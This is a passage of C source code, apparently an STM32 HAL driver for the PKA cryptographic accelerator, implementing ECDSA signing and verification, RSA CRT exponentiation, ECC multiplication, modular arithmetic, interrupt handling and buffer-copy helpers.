/* Start the operation */
return PKA_Process(hpka, PKA_MODE_ECDSA_SIGNATURE, Timeout);
}
/**
* @brief Sign a message using elliptic curves over prime fields in non-blocking mode with Interrupt.
* @param hpka PKA handle
* @param in Input information
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_ECDSASign_IT(PKA_HandleTypeDef *hpka, PKA_ECDSASignInTypeDef *in)
{
/* Set input parameter in PKA RAM */
PKA_ECDSASign_Set(hpka, in);
/* Start the operation */
return PKA_Process_IT(hpka, PKA_MODE_ECDSA_SIGNATURE);
}
/**
* @brief Retrieve operation result.
* @param hpka PKA handle
* @param out Output information
* @param outExt Additionnal Output information (facultative)
*/
void HAL_PKA_ECDSASign_GetResult(PKA_HandleTypeDef *hpka, PKA_ECDSASignOutTypeDef *out, PKA_ECDSASignOutExtParamTypeDef *outExt)
{
uint32_t size;
size = (hpka->Instance->RAM[PKA_ECDSA_SIGN_IN_MOD_NB_BITS] + 7UL) / 8UL;
if (out != NULL)
{
PKA_Memcpy_u32_to_u8(out->RSign, &hpka->Instance->RAM[PKA_ECDSA_SIGN_OUT_SIGNATURE_R], size);
PKA_Memcpy_u32_to_u8(out->SSign, &hpka->Instance->RAM[PKA_ECDSA_SIGN_OUT_SIGNATURE_S], size);
}
/* If user requires the additionnal information */
if (outExt != NULL)
{
/* Move the result to appropriate location (indicated in outExt parameter) */
PKA_Memcpy_u32_to_u8(outExt->ptX, &hpka->Instance->RAM[PKA_ECDSA_SIGN_OUT_FINAL_POINT_X], size);
PKA_Memcpy_u32_to_u8(outExt->ptY, &hpka->Instance->RAM[PKA_ECDSA_SIGN_OUT_FINAL_POINT_Y], size);
}
}
/**
* @brief Verify the validity of a signature using elliptic curves over prime fields in blocking mode.
* @param hpka PKA handle
* @param in Input information
* @param Timeout Timeout duration
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_ECDSAVerif(PKA_HandleTypeDef *hpka, PKA_ECDSAVerifInTypeDef *in, uint32_t Timeout)
{
/* Set input parameter in PKA RAM */
PKA_ECDSAVerif_Set(hpka, in);
/* Start the operation */
return PKA_Process(hpka, PKA_MODE_ECDSA_VERIFICATION, Timeout);
}
/**
* @brief Verify the validity of a signature using elliptic curves over prime fields in non-blocking mode with Interrupt.
* @param hpka PKA handle
* @param in Input information
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_ECDSAVerif_IT(PKA_HandleTypeDef *hpka, PKA_ECDSAVerifInTypeDef *in)
{
/* Set input parameter in PKA RAM */
PKA_ECDSAVerif_Set(hpka, in);
/* Start the operation */
return PKA_Process_IT(hpka, PKA_MODE_ECDSA_VERIFICATION);
}
/**
* @brief Return the result of the ECDSA verification operation.
* @param hpka PKA handle
* @retval 1 if signature is verified, 0 in other case
*/
uint32_t HAL_PKA_ECDSAVerif_IsValidSignature(PKA_HandleTypeDef const *const hpka)
{
/* Invert the state of the PKA RAM bit containing the result of the operation */
return (hpka->Instance->RAM[PKA_ECDSA_VERIF_OUT_RESULT] == 0UL) ? 1UL : 0UL;
}
/**
* @brief RSA CRT exponentiation in blocking mode.
* @param hpka PKA handle
* @param in Input information
* @param Timeout Timeout duration
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_RSACRTExp(PKA_HandleTypeDef *hpka, PKA_RSACRTExpInTypeDef *in, uint32_t Timeout)
{
/* Set input parameter in PKA RAM */
PKA_RSACRTExp_Set(hpka, in);
/* Start the operation */
return PKA_Process(hpka, PKA_MODE_RSA_CRT_EXP, Timeout);
}
/**
* @brief RSA CRT exponentiation in non-blocking mode with Interrupt.
* @param hpka PKA handle
* @param in Input information
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_RSACRTExp_IT(PKA_HandleTypeDef *hpka, PKA_RSACRTExpInTypeDef *in)
{
/* Set input parameter in PKA RAM */
PKA_RSACRTExp_Set(hpka, in);
/* Start the operation */
return PKA_Process_IT(hpka, PKA_MODE_RSA_CRT_EXP);
}
/**
* @brief Retrieve operation result.
* @param hpka PKA handle
* @param pRes Pointer to memory location to receive the result of the operation
* @retval HAL status
*/
void HAL_PKA_RSACRTExp_GetResult(PKA_HandleTypeDef *hpka, uint8_t *pRes)
{
uint32_t size;
/* Move the result to appropriate location (indicated in out parameter) */
size = (hpka->Instance->RAM[PKA_RSA_CRT_EXP_IN_MOD_NB_BITS] + 7UL) / 8UL;
PKA_Memcpy_u32_to_u8(pRes, &hpka->Instance->RAM[PKA_RSA_CRT_EXP_OUT_RESULT], size);
}
/**
* @brief Point on elliptic curve check in blocking mode.
* @param hpka PKA handle
* @param in Input information
* @param Timeout Timeout duration
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_PointCheck(PKA_HandleTypeDef *hpka, PKA_PointCheckInTypeDef *in, uint32_t Timeout)
{
/* Set input parameter in PKA RAM */
PKA_PointCheck_Set(hpka, in);
/* Start the operation */
return PKA_Process(hpka, PKA_MODE_POINT_CHECK, Timeout);
}
/**
* @brief Point on elliptic curve check in non-blocking mode with Interrupt.
* @param hpka PKA handle
* @param in Input information
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_PointCheck_IT(PKA_HandleTypeDef *hpka, PKA_PointCheckInTypeDef *in)
{
/* Set input parameter in PKA RAM */
PKA_PointCheck_Set(hpka, in);
/* Start the operation */
return PKA_Process_IT(hpka, PKA_MODE_POINT_CHECK);
}
/**
* @brief Return the result of the point check operation.
* @param hpka PKA handle
* @retval 1 if point is on curve, 0 in other case
*/
uint32_t HAL_PKA_PointCheck_IsOnCurve(PKA_HandleTypeDef const *const hpka)
{
/* Invert the value of the PKA RAM containig the result of the operation */
return (hpka->Instance->RAM[PKA_POINT_CHECK_OUT_ERROR] == 0UL) ? 1UL : 0UL;
}
/**
* @brief ECC scalar multiplication in blocking mode.
* @param hpka PKA handle
* @param in Input information
* @param Timeout Timeout duration
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_ECCMul(PKA_HandleTypeDef *hpka, PKA_ECCMulInTypeDef *in, uint32_t Timeout)
{
/* Set input parameter in PKA RAM */
PKA_ECCMul_Set(hpka, in);
/* Start the operation */
return PKA_Process(hpka, PKA_MODE_ECC_MUL, Timeout);
}
/**
* @brief ECC scalar multiplication in non-blocking mode with Interrupt.
* @param hpka PKA handle
* @param in Input information
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_ECCMul_IT(PKA_HandleTypeDef *hpka, PKA_ECCMulInTypeDef *in)
{
/* Set input parameter in PKA RAM */
PKA_ECCMul_Set(hpka, in);
/* Start the operation */
return PKA_Process_IT(hpka, PKA_MODE_ECC_MUL);
}
/**
* @brief ECC scalar multiplication in blocking mode.
* @param hpka PKA handle
* @param in Input information
* @param Timeout Timeout duration
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_ECCMulFastMode(PKA_HandleTypeDef *hpka, PKA_ECCMulFastModeInTypeDef *in, uint32_t Timeout)
{
/* Set input parameter in PKA RAM */
PKA_ECCMulFastMode_Set(hpka, in);
/* Start the operation */
return PKA_Process(hpka, PKA_MODE_ECC_MUL_FAST_MODE, Timeout);
}
/**
* @brief ECC scalar multiplication in non-blocking mode with Interrupt.
* @param hpka PKA handle
* @param in Input information
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_ECCMulFastMode_IT(PKA_HandleTypeDef *hpka, PKA_ECCMulFastModeInTypeDef *in)
{
/* Set input parameter in PKA RAM */
PKA_ECCMulFastMode_Set(hpka, in);
/* Start the operation */
return PKA_Process_IT(hpka, PKA_MODE_ECC_MUL_FAST_MODE);
}
/**
* @brief Retrieve operation result.
* @param hpka PKA handle
* @param out Output information
* @retval HAL status
*/
void HAL_PKA_ECCMul_GetResult(PKA_HandleTypeDef *hpka, PKA_ECCMulOutTypeDef *out)
{
uint32_t size;
/* Retrieve the size of the array from the PKA RAM */
size = (hpka->Instance->RAM[PKA_ECC_SCALAR_MUL_IN_OP_NB_BITS] + 7UL) / 8UL;
/* If a destination buffer is provided */
if (out != NULL)
{
/* Move the result to appropriate location (indicated in out parameter) */
PKA_Memcpy_u32_to_u8(out->ptX, &hpka->Instance->RAM[PKA_ECC_SCALAR_MUL_OUT_RESULT_X], size);
PKA_Memcpy_u32_to_u8(out->ptY, &hpka->Instance->RAM[PKA_ECC_SCALAR_MUL_OUT_RESULT_Y], size);
}
}
/**
* @brief Arithmetic addition in blocking mode.
* @param hpka PKA handle
* @param in Input information
* @param Timeout Timeout duration
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_Add(PKA_HandleTypeDef *hpka, PKA_AddInTypeDef *in, uint32_t Timeout)
{
/* Set input parameter in PKA RAM */
PKA_ARI_Set(hpka, in->size, in->pOp1, in->pOp2, NULL);
/* Start the operation */
return PKA_Process(hpka, PKA_MODE_ARITHMETIC_ADD, Timeout);
}
/**
* @brief Arithmetic addition in non-blocking mode with Interrupt.
* @param hpka PKA handle
* @param in Input information
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_Add_IT(PKA_HandleTypeDef *hpka, PKA_AddInTypeDef *in)
{
/* Set input parameter in PKA RAM */
PKA_ARI_Set(hpka, in->size, in->pOp1, in->pOp2, NULL);
/* Start the operation */
return PKA_Process_IT(hpka, PKA_MODE_ARITHMETIC_ADD);
}
/**
* @brief Arithmetic substraction in blocking mode.
* @param hpka PKA handle
* @param in Input information
* @param Timeout Timeout duration
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_Sub(PKA_HandleTypeDef *hpka, PKA_SubInTypeDef *in, uint32_t Timeout)
{
/* Set input parameter in PKA RAM */
PKA_ARI_Set(hpka, in->size, in->pOp1, in->pOp2, NULL);
/* Start the operation */
return PKA_Process(hpka, PKA_MODE_ARITHMETIC_SUB, Timeout);
}
/**
* @brief Arithmetic substraction in non-blocking mode with Interrupt.
* @param hpka PKA handle
* @param in Input information
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_Sub_IT(PKA_HandleTypeDef *hpka, PKA_SubInTypeDef *in)
{
/* Set input parameter in PKA RAM */
PKA_ARI_Set(hpka, in->size, in->pOp1, in->pOp2, NULL);
/* Start the operation */
return PKA_Process_IT(hpka, PKA_MODE_ARITHMETIC_SUB);
}
/**
* @brief Arithmetic multiplication in blocking mode.
* @param hpka PKA handle
* @param in Input information
* @param Timeout Timeout duration
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_Mul(PKA_HandleTypeDef *hpka, PKA_MulInTypeDef *in, uint32_t Timeout)
{
/* Set input parameter in PKA RAM */
PKA_ARI_Set(hpka, in->size, in->pOp1, in->pOp2, NULL);
/* Start the operation */
return PKA_Process(hpka, PKA_MODE_ARITHMETIC_MUL, Timeout);
}
/**
* @brief Arithmetic multiplication in non-blocking mode with Interrupt.
* @param hpka PKA handle
* @param in Input information
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_Mul_IT(PKA_HandleTypeDef *hpka, PKA_MulInTypeDef *in)
{
/* Set input parameter in PKA RAM */
PKA_ARI_Set(hpka, in->size, in->pOp1, in->pOp2, NULL);
/* Start the operation */
return PKA_Process_IT(hpka, PKA_MODE_ARITHMETIC_MUL);
}
/**
* @brief Comparison in blocking mode.
* @param hpka PKA handle
* @param in Input information
* @param Timeout Timeout duration
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_Cmp(PKA_HandleTypeDef *hpka, PKA_CmpInTypeDef *in, uint32_t Timeout)
{
/* Set input parameter in PKA RAM */
PKA_ARI_Set(hpka, in->size, in->pOp1, in->pOp2, NULL);
/* Start the operation */
return PKA_Process(hpka, PKA_MODE_COMPARISON, Timeout);
}
/**
* @brief Comparison in non-blocking mode with Interrupt.
* @param hpka PKA handle
* @param in Input information
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_Cmp_IT(PKA_HandleTypeDef *hpka, PKA_CmpInTypeDef *in)
{
/* Set input parameter in PKA RAM */
PKA_ARI_Set(hpka, in->size, in->pOp1, in->pOp2, NULL);
/* Start the operation */
return PKA_Process_IT(hpka, PKA_MODE_COMPARISON);
}
/**
* @brief Modular addition in blocking mode.
* @param hpka PKA handle
* @param in Input information
* @param Timeout Timeout duration
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_ModAdd(PKA_HandleTypeDef *hpka, PKA_ModAddInTypeDef *in, uint32_t Timeout)
{
/* Set input parameter in PKA RAM */
PKA_ARI_Set(hpka, in->size, in->pOp1, in->pOp2, in->pOp3);
/* Start the operation */
return PKA_Process(hpka, PKA_MODE_MODULAR_ADD, Timeout);
}
/**
* @brief Modular addition in non-blocking mode with Interrupt.
* @param hpka PKA handle
* @param in Input information
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_ModAdd_IT(PKA_HandleTypeDef *hpka, PKA_ModAddInTypeDef *in)
{
/* Set input parameter in PKA RAM */
PKA_ARI_Set(hpka, in->size, in->pOp1, in->pOp2, in->pOp3);
/* Start the operation */
return PKA_Process_IT(hpka, PKA_MODE_MODULAR_ADD);
}
/**
* @brief Modular inversion in blocking mode.
* @param hpka PKA handle
* @param in Input information
* @param Timeout Timeout duration
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_ModInv(PKA_HandleTypeDef *hpka, PKA_ModInvInTypeDef *in, uint32_t Timeout)
{
/* Set input parameter in PKA RAM */
PKA_ModInv_Set(hpka, in);
/* Start the operation */
return PKA_Process(hpka, PKA_MODE_MODULAR_INV, Timeout);
}
/**
* @brief Modular inversion in non-blocking mode with Interrupt.
* @param hpka PKA handle
* @param in Input information
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_ModInv_IT(PKA_HandleTypeDef *hpka, PKA_ModInvInTypeDef *in)
{
/* Set input parameter in PKA RAM */
PKA_ModInv_Set(hpka, in);
/* Start the operation */
return PKA_Process_IT(hpka, PKA_MODE_MODULAR_INV);
}
/**
* @brief Modular substraction in blocking mode.
* @param hpka PKA handle
* @param in Input information
* @param Timeout Timeout duration
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_ModSub(PKA_HandleTypeDef *hpka, PKA_ModSubInTypeDef *in, uint32_t Timeout)
{
/* Set input parameter in PKA RAM */
PKA_ARI_Set(hpka, in->size, in->pOp1, in->pOp2, in->pOp3);
/* Start the operation */
return PKA_Process(hpka, PKA_MODE_MODULAR_SUB, Timeout);
}
/**
* @brief Modular substraction in non-blocking mode with Interrupt.
* @param hpka PKA handle
* @param in Input information
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_ModSub_IT(PKA_HandleTypeDef *hpka, PKA_ModSubInTypeDef *in)
{
/* Set input parameter in PKA RAM */
PKA_ARI_Set(hpka, in->size, in->pOp1, in->pOp2, in->pOp3);
/* Start the operation */
return PKA_Process_IT(hpka, PKA_MODE_MODULAR_SUB);
}
/**
* @brief Modular reduction in blocking mode.
* @param hpka PKA handle
* @param in Input information
* @param Timeout Timeout duration
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_ModRed(PKA_HandleTypeDef *hpka, PKA_ModRedInTypeDef *in, uint32_t Timeout)
{
/* Set input parameter in PKA RAM */
PKA_ModRed_Set(hpka, in);
/* Start the operation */
return PKA_Process(hpka, PKA_MODE_MODULAR_RED, Timeout);
}
/**
* @brief Modular reduction in non-blocking mode with Interrupt.
* @param hpka PKA handle
* @param in Input information
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_ModRed_IT(PKA_HandleTypeDef *hpka, PKA_ModRedInTypeDef *in)
{
/* Set input parameter in PKA RAM */
PKA_ModRed_Set(hpka, in);
/* Start the operation */
return PKA_Process_IT(hpka, PKA_MODE_MODULAR_RED);
}
/**
* @brief Montgomery multiplication in blocking mode.
* @param hpka PKA handle
* @param in Input information
* @param Timeout Timeout duration
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_MontgomeryMul(PKA_HandleTypeDef *hpka, PKA_MontgomeryMulInTypeDef *in, uint32_t Timeout)
{
/* Set input parameter in PKA RAM */
PKA_ARI_Set(hpka, in->size, in->pOp1, in->pOp2, in->pOp3);
/* Start the operation */
return PKA_Process(hpka, PKA_MODE_MONTGOMERY_MUL, Timeout);
}
/**
* @brief Montgomery multiplication in non-blocking mode with Interrupt.
* @param hpka PKA handle
* @param in Input information
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_MontgomeryMul_IT(PKA_HandleTypeDef *hpka, PKA_MontgomeryMulInTypeDef *in)
{
/* Set input parameter in PKA RAM */
PKA_ARI_Set(hpka, in->size, in->pOp1, in->pOp2, in->pOp3);
/* Start the operation */
return PKA_Process_IT(hpka, PKA_MODE_MONTGOMERY_MUL);
}
/**
* @brief Retrieve operation result.
* @param hpka PKA handle
* @param pRes Pointer to memory location to receive the result of the operation
*/
void HAL_PKA_Arithmetic_GetResult(PKA_HandleTypeDef *hpka, uint32_t *pRes)
{
uint32_t mode = (hpka->Instance->CR & PKA_CR_MODE_Msk) >> PKA_CR_MODE_Pos;
uint32_t size = 0;
/* Move the result to appropriate location (indicated in pRes parameter) */
switch (mode)
{
case PKA_MODE_ARITHMETIC_SUB:
case PKA_MODE_MODULAR_ADD:
case PKA_MODE_MODULAR_RED:
case PKA_MODE_MODULAR_INV:
case PKA_MODE_MODULAR_SUB:
case PKA_MODE_MONTGOMERY_MUL:
size = hpka->Instance->RAM[1] / 32UL;
break;
case PKA_MODE_ARITHMETIC_ADD:
size = hpka->Instance->RAM[1] / 32UL;
/* Manage the overflow of the addition */
if (hpka->Instance->RAM[500U + size] != 0UL)
{
size += 1UL;
}
break;
case PKA_MODE_COMPARISON:
size = 1;
break;
case PKA_MODE_ARITHMETIC_MUL:
size = hpka->Instance->RAM[1] / 32UL * 2UL;
break;
default:
break;
}
if (pRes != NULL)
{
switch (mode)
{
case PKA_MODE_ARITHMETIC_SUB:
case PKA_MODE_MODULAR_ADD:
case PKA_MODE_MODULAR_RED:
case PKA_MODE_MODULAR_INV:
case PKA_MODE_MODULAR_SUB:
case PKA_MODE_MONTGOMERY_MUL:
case PKA_MODE_ARITHMETIC_ADD:
case PKA_MODE_COMPARISON:
case PKA_MODE_ARITHMETIC_MUL:
PKA_Memcpy_u32_to_u32(pRes, &hpka->Instance->RAM[PKA_ARITHMETIC_ALL_OPS_OUT_RESULT], size);
break;
default:
break;
}
}
}
/**
* @brief Montgomery parameter computation in blocking mode.
* @param hpka PKA handle
* @param in Input information
* @param Timeout Timeout duration
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_MontgomeryParam(PKA_HandleTypeDef *hpka, PKA_MontgomeryParamInTypeDef *in, uint32_t Timeout)
{
/* Set input parameter in PKA RAM */
PKA_MontgomeryParam_Set(hpka, in->size, in->pOp1);
/* Start the operation */
return PKA_Process(hpka, PKA_MODE_MONTGOMERY_PARAM, Timeout);
}
/**
* @brief Montgomery parameter computation in non-blocking mode with Interrupt.
* @param hpka PKA handle
* @param in Input information
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_MontgomeryParam_IT(PKA_HandleTypeDef *hpka, PKA_MontgomeryParamInTypeDef *in)
{
/* Set input parameter in PKA RAM */
PKA_MontgomeryParam_Set(hpka, in->size, in->pOp1);
/* Start the operation */
return PKA_Process_IT(hpka, PKA_MODE_MONTGOMERY_PARAM);
}
/**
* @brief Retrieve operation result.
* @param hpka PKA handle
* @param pRes pointer to buffer where the result will be copied
* @retval HAL status
*/
void HAL_PKA_MontgomeryParam_GetResult(PKA_HandleTypeDef *hpka, uint32_t *pRes)
{
uint32_t size;
/* Retrieve the size of the buffer from the PKA RAM */
size = (hpka->Instance->RAM[PKA_MONTGOMERY_PARAM_IN_MOD_NB_BITS] + 31UL) / 32UL;
/* Move the result to appropriate location (indicated in out parameter) */
PKA_Memcpy_u32_to_u32(pRes, &hpka->Instance->RAM[PKA_MONTGOMERY_PARAM_OUT_PARAMETER], size);
}
/**
* @brief Abort any ongoing operation.
* @param hpka PKA handle
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_Abort(PKA_HandleTypeDef *hpka)
{
HAL_StatusTypeDef err = HAL_OK;
/* Clear EN bit */
/* This abort any operation in progress (PKA RAM content is not guaranted in this case) */
CLEAR_BIT(hpka->Instance->CR, PKA_CR_EN);
SET_BIT(hpka->Instance->CR, PKA_CR_EN);
/* Reset any pending flag */
SET_BIT(hpka->Instance->CLRFR, PKA_CLRFR_PROCENDFC | PKA_CLRFR_RAMERRFC | PKA_CLRFR_ADDRERRFC);
/* Reset the error code */
hpka->ErrorCode = HAL_PKA_ERROR_NONE;
/* Reset the state */
hpka->State = HAL_PKA_STATE_READY;
return err;
}
/**
* @brief Reset the PKA RAM.
* @param hpka PKA handle
* @retval None
*/
void HAL_PKA_RAMReset(PKA_HandleTypeDef *hpka)
{
uint32_t index;
/* For each element in the PKA RAM */
for (index = 0; index < PKA_RAM_SIZE; index++)
{
/* Clear the content */
hpka->Instance->RAM[index] = 0UL;
}
}
/**
* @brief This function handles PKA event interrupt request.
* @param hpka PKA handle
* @retval None
*/
void HAL_PKA_IRQHandler(PKA_HandleTypeDef *hpka)
{
uint32_t mode = PKA_GetMode(hpka);
FlagStatus addErrFlag = __HAL_PKA_GET_FLAG(hpka, PKA_FLAG_ADDRERR);
FlagStatus ramErrFlag = __HAL_PKA_GET_FLAG(hpka, PKA_FLAG_RAMERR);
FlagStatus procEndFlag = __HAL_PKA_GET_FLAG(hpka, PKA_FLAG_PROCEND);
/* Address error interrupt occurred */
if ((__HAL_PKA_GET_IT_SOURCE(hpka, PKA_IT_ADDRERR) == SET) && (addErrFlag == SET))
{
hpka->ErrorCode |= HAL_PKA_ERROR_ADDRERR;
/* Clear ADDRERR flag */
__HAL_PKA_CLEAR_FLAG(hpka, PKA_FLAG_ADDRERR);
}
/* RAM access error interrupt occurred */
if ((__HAL_PKA_GET_IT_SOURCE(hpka, PKA_IT_RAMERR) == SET) && (ramErrFlag == SET))
{
hpka->ErrorCode |= HAL_PKA_ERROR_RAMERR;
/* Clear RAMERR flag */
__HAL_PKA_CLEAR_FLAG(hpka, PKA_FLAG_RAMERR);
}
/* Check the operation success in case of ECDSA signature */
if (mode == PKA_MODE_ECDSA_SIGNATURE)
{
/* If error output result is different from 0, ecdsa sign operation need to be repeated */
if (hpka->Instance->RAM[PKA_ECDSA_SIGN_OUT_ERROR] != 0UL)
{
hpka->ErrorCode |= HAL_PKA_ERROR_OPERATION;
}
}
/* Trigger the error callback if an error is present */
if (hpka->ErrorCode != HAL_PKA_ERROR_NONE)
{
#if (USE_HAL_PKA_REGISTER_CALLBACKS == 1)
hpka->ErrorCallback(hpka);
#else
HAL_PKA_ErrorCallback(hpka);
#endif /* USE_HAL_PKA_REGISTER_CALLBACKS */
}
/* End Of Operation interrupt occurred */
if ((__HAL_PKA_GET_IT_SOURCE(hpka, PKA_IT_PROCEND) == SET) && (procEndFlag == SET))
{
/* Clear PROCEND flag */
__HAL_PKA_CLEAR_FLAG(hpka, PKA_FLAG_PROCEND);
/* Set the state to ready */
hpka->State = HAL_PKA_STATE_READY;
#if (USE_HAL_PKA_REGISTER_CALLBACKS == 1)
hpka->OperationCpltCallback(hpka);
#else
HAL_PKA_OperationCpltCallback(hpka);
#endif /* USE_HAL_PKA_REGISTER_CALLBACKS */
}
}
/**
* @brief Process completed callback.
* @param hpka PKA handle
* @retval None
*/
__weak void HAL_PKA_OperationCpltCallback(PKA_HandleTypeDef *hpka)
{
/* Prevent unused argument(s) compilation warning */
UNUSED(hpka);
/* NOTE : This function should not be modified, when the callback is needed,
the HAL_PKA_OperationCpltCallback could be implemented in the user file
*/
}
/**
* @brief Error callback.
* @param hpka PKA handle
* @retval None
*/
__weak void HAL_PKA_ErrorCallback(PKA_HandleTypeDef *hpka)
{
/* Prevent unused argument(s) compilation warning */
UNUSED(hpka);
/* NOTE : This function should not be modified, when the callback is needed,
the HAL_PKA_ErrorCallback could be implemented in the user file
*/
}
/**
* @}
*/
/** @defgroup PKA_Exported_Functions_Group3 Peripheral State and Error functions
* @brief Peripheral State and Error functions
*
@verbatim
===============================================================================
##### Peripheral State and Error functions #####
===============================================================================
[..]
This subsection permit to get in run-time the status of the peripheral.
@endverbatim
* @{
*/
/**
* @brief Return the PKA handle state.
* @param hpka PKA handle
* @retval HAL status
*/
HAL_PKA_StateTypeDef HAL_PKA_GetState(PKA_HandleTypeDef *hpka)
{
/* Return PKA handle state */
return hpka->State;
}
/**
* @brief Return the PKA error code.
* @param hpka PKA handle
* @retval PKA error code
*/
uint32_t HAL_PKA_GetError(PKA_HandleTypeDef *hpka)
{
/* Return PKA handle error code */
return hpka->ErrorCode;
}
/**
* @}
*/
/**
* @}
*/
/** @addtogroup PKA_Private_Functions
* @{
*/
/**
* @brief Get PKA operating mode.
* @param hpka PKA handle
* @retval Return the current mode
*/
uint32_t PKA_GetMode(PKA_HandleTypeDef *hpka)
{
/* return the shifted PKA_CR_MODE value */
return (uint32_t)(READ_BIT(hpka->Instance->CR, PKA_CR_MODE) >> PKA_CR_MODE_Pos);
}
/**
* @brief Wait for operation completion or timeout.
* @param hpka PKA handle
* @param Timeout Timeout duration in millisecond.
* @param Tickstart Tick start value
* @retval HAL status
*/
HAL_StatusTypeDef PKA_PollEndOfOperation(PKA_HandleTypeDef *hpka, uint32_t Timeout, uint32_t Tickstart)
{
/* Wait for the end of operation or timeout */
while ((hpka->Instance->SR & PKA_SR_PROCENDF) == 0UL)
{
/* Check if timeout is disabled (set to infinite wait) */
if (Timeout != HAL_MAX_DELAY)
{
if (((HAL_GetTick() - Tickstart) > Timeout) || (Timeout == 0UL))
{
return HAL_TIMEOUT;
}
}
}
return HAL_OK;
}
/**
* @brief Return a hal error code based on PKA error flags.
* @param hpka PKA handle
* @param mode PKA operating mode
* @retval error code
*/
uint32_t PKA_CheckError(PKA_HandleTypeDef *hpka, uint32_t mode)
{
uint32_t err = HAL_PKA_ERROR_NONE;
/* Check RAMERR error */
if (__HAL_PKA_GET_FLAG(hpka, PKA_FLAG_RAMERR) == SET)
{
err |= HAL_PKA_ERROR_RAMERR;
}
/* Check ADDRERR error */
if (__HAL_PKA_GET_FLAG(hpka, PKA_FLAG_ADDRERR) == SET)
{
err |= HAL_PKA_ERROR_ADDRERR;
}
/* Check the operation success in case of ECDSA signature */
if (mode == PKA_MODE_ECDSA_SIGNATURE)
{
/* If error output result is different from 0, ecsa sign operation need to be repeated */
if (hpka->Instance->RAM[PKA_ECDSA_SIGN_OUT_ERROR] != 0UL)
{
err |= HAL_PKA_ERROR_OPERATION;
}
}
return err;
}
/**
* @brief Get number of bits inside an array of u8.
* @param byteNumber Number of u8 inside the array
*/
uint32_t PKA_GetBitSize_u8(uint32_t byteNumber)
{
/* Convert from number of uint8_t in an array to the associated number of bits in this array */
return byteNumber * 8UL;
}
/**
* @brief Get optimal number of bits inside an array of u8.
* @param byteNumber Number of u8 inside the array
* @param msb Most significant uint8_t of the array
*/
uint32_t PKA_GetOptBitSize_u8(uint32_t byteNumber, uint8_t msb)
{
uint32_t position;
position = 32UL - __CLZ(msb);
return (((byteNumber - 1UL) * 8UL) + position);
}
/**
* @brief Get number of bits inside an array of u32.
* @param wordNumber Number of u32 inside the array
*/
uint32_t PKA_GetBitSize_u32(uint32_t wordNumber)
{
/* Convert from number of uint32_t in an array to the associated number of bits in this array */
return wordNumber * 32UL;
}
/**
* @brief Get number of uint8_t element in an array of bitSize bits.
* @param bitSize Number of bits in an array
*/
uint32_t PKA_GetArraySize_u8(uint32_t bitSize)
{
/* Manage the non aligned on uint8_t bitsize: */
/* 512 bits requires 64 uint8_t */
/* 521 bits requires 66 uint8_t */
return ((bitSize + 7UL) / 8UL);
}
/**
* @brief Copy uint32_t array to uint8_t array to fit PKA number representation.
* @param dst Pointer to destination
* @param src Pointer to source
* @param n Number of uint8_t to copy
* @retval dst
*/
void PKA_Memcpy_u32_to_u8(uint8_t dst[], __IO const uint32_t src[], size_t n)
{
if (dst != NULL)
{
if (src != NULL)
{
uint32_t index_uint32_t = 0UL; /* This index is used outside of the loop */
for (; index_uint32_t < (n / 4UL); index_uint32_t++)
{
/* Avoid casting from uint8_t* to uint32_t* by copying 4 uint8_t in a row */
/* Apply __REV equivalent */
uint32_t index_uint8_t = n - 4UL - (index_uint32_t * 4UL);
dst[index_uint8_t + 3UL] = (uint8_t)((src[index_uint32_t] & 0x000000FFU));
dst[index_uint8_t + 2UL] = (uint8_t)((src[index_uint32_t] & 0x0000FF00U) >> 8UL);
dst[index_uint8_t + 1UL] = (uint8_t)((src[index_uint32_t] & 0x00FF0000U) >> 16UL);
dst[index_uint8_t + 0UL] = (uint8_t)((src[index_uint32_t] & 0xFF000000U) >> 24UL);
}
/* Manage the buffers not aligned on uint32_t */
if ((n % 4UL) == 1UL)
{
dst[0UL] = (uint8_t)((src[index_uint32_t] & 0x000000FFU));
}
else if ((n % 4UL) == 2UL)
{
dst[1UL] = (uint8_t)((src[index_uint32_t] & 0x000000FFU));
dst[0UL] = (uint8_t)((src[index_uint32_t] & 0x0000FF00U) >> 8UL);
}
else if ((n % 4UL) == 3UL)
{
dst[2UL] = (uint8_t)((src[index_uint32_t] & 0x000000FFU));
dst[1UL] = (uint8_t)((src[index_uint32_t] & 0x0000FF00U) >> 8UL);
dst[0UL] = (uint8_t)((src[index_uint32_t] & 0x00FF0000U) >> 16UL);
}
else
{
/* The last element is already handle in the loop */
}
}
}
}
/**
* @brief Copy uint8_t array to uint32_t array to fit PKA number representation.
* @param dst Pointer to destination
* @param src Pointer to source
* @param n Number of uint8_t to copy (must be multiple of 4)
* @retval dst
*/
void PKA_Memcpy_u8_to_u32(__IO uint32_t dst[], const uint8_t src[], size_t n)
{
if (dst != NULL)
{
if (src != NULL)
{
uint32_t index = 0UL; /* This index is used outside of the loop */
